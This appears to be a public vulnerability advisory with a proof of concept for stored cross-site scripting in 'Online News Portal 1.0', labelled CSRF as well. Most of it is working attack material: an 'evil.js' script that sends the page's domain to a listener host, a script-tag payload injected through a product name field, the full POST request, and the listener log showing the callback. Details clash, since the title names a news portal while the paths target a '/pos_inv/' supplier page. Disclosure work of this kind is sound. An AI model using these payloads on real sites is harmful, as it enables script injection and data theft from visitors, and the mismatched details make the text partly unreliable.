Online News Portal 1.0 Cross Site Request Forgery / Cross Site Scripting

Online News Portal version 1.0 suffers from cross site request forgery and cross site scripting vulnerabilities.


MD5 | be06871e9ab8b5a97156d14ca9f143a3

# Exploit Title: Online News Portal | Stored XSS + CSRF Example
# Exploit Author: Richard Jones
# Date: 2021-03-18
# Vendor Homepage: https://www.sourcecodester.com/php/14741/online-news-portal-using-phpmysqli-free-download-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14741&title=Online+News+Portal+using+PHP%2FMySQLi+with+Source+Code+Free+Download
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34

Steps.

1. Create a "evil.js" file with the below contents
----------------------------------------------------------------------------------------
var x = new XMLHttpRequest();
x.open("GET", "//127.0.0.1:8081/?c="+document.domain);
x.send();
----------------------------------------------------------------------------------------
2. Host the file locally. python3 -m http.server 8081
3. Goto http://127.0.0.1/pos_inv/index.php, login as a supplier (supplier/supplier)
4. Add product ..
----------------------------------------------------------------------------------------
Name: <script type="text/javascript" src="http://127.0.0.1:8081/evil.js"></script>
Catagory: Laptops
Price: 1
Quantity: 1
Photo: None
----------------------------------------------------------------------------------------
POST /pos_inv/supplier/edit_product.php?id=28 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------29152014675220535253532605082
Content-Length: 744
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/pos_inv/supplier/
Cookie: PHPSESSID=cb9r4bs1p4mqmt98nd4o3mtavm
Upgrade-Insecure-Requests: 1

-----------------------------29152014675220535253532605082
Content-Disposition: form-data; name="name"

<script type="text/javascript" src="http://127.0.0.1:8081/evil.js"></script>
-----------------------------29152014675220535253532605082
Content-Disposition: form-data; name="category"

1
-----------------------------29152014675220535253532605082
Content-Disposition: form-data; name="price"

1
-----------------------------29152014675220535253532605082
Content-Disposition: form-data; name="qty"

1
-----------------------------29152014675220535253532605082
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream


-----------------------------29152014675220535253532605082--

----------------------------------------------------------------------------------------
5. Click Update
6. Recieve CSRF

#Python server
127.0.0.1 - - [18/Mar/2021 13:59:46] "GET /evil.js HTTP/1.1" 304 -
127.0.0.1 - - [18/Mar/2021 13:59:46] "GET /?c=127.0.0.1 HTTP/1.1" 200 -

Related Posts